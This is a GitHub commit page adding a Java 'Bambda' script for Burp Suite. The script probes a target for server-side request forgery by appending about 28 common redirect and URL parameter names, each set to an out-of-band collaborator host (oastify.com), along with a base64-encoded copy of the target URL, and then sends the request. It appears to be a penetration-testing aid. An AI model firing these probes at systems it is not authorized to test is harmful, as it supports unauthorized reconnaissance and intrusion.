Skip to content

Commit

Permalink
Create ssrf_common_params.bambda
Browse files Browse the repository at this point in the history
  • Loading branch information
e1abrador authored Dec 1, 2023
1 parent 1740132 commit 09a15f8
Showing 1 changed file with 55 additions and 0 deletions.
55 changes: 55 additions & 0 deletions Proxy/HTTP/ssrf_common_params.bambda
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
/**
* This Bambda constructs and sends a GET request with various parameters.
* Each parameter is appended with the collaborator URL.
* The 'base64url' parameter contains a base64-encoded version of the original request URL.
*
* @author Eric Labrador Sainz (https://github.com/e1abrador)
*/
public class RequestParameterTester {

public static void main(String[] args) {
String collaboratorUrl = "https://xyz.oastify.com/";

try {
// Replace 'requestResponse.request().url()' with your URL
String originalUrl = "http://example.com"; // Placeholder for the original URL

// Base64 encode the original URL
String encodedUrl = java.util.Base64.getEncoder().encodeToString(originalUrl.getBytes());

// Construct the canary URL
String canary = collaboratorUrl + encodedUrl;

// Initialize the StringBuilder with the original URL
StringBuilder testURLBuilder = new StringBuilder(originalUrl);

// Determine the initial query parameter delimiter
testURLBuilder.append(originalUrl.contains("?") ? "&" : "?");

// Append the 'base64url' parameter
testURLBuilder.append("base64url=").append(canary);

// Parameters to be appended
String[] paramsToAdd = {
"dest", "redirect", "uri", "path", "continue", "url", "window", "next", "data",
"reference", "site", "html", "val", "validate", "domain", "callback", "return",
"page", "feed", "host", "port", "to", "out", "view", "dir", "show", "navigation",
"open"
};

// Append each parameter with the collaborator URL
for (String param : paramsToAdd) {
testURLBuilder.append("&").append(param).append("=").append(collaboratorUrl);
}

// Convert to String and remove the trailing '&'
String testURL = testURLBuilder.toString().replaceAll("&$", "");

// Send the GET request
new java.net.URL(testURL).openStream();

} catch (Exception e) {
System.out.println("Error: " + e.getMessage());
}
}
}

0 comments on commit 09a15f8

Please sign in to comment.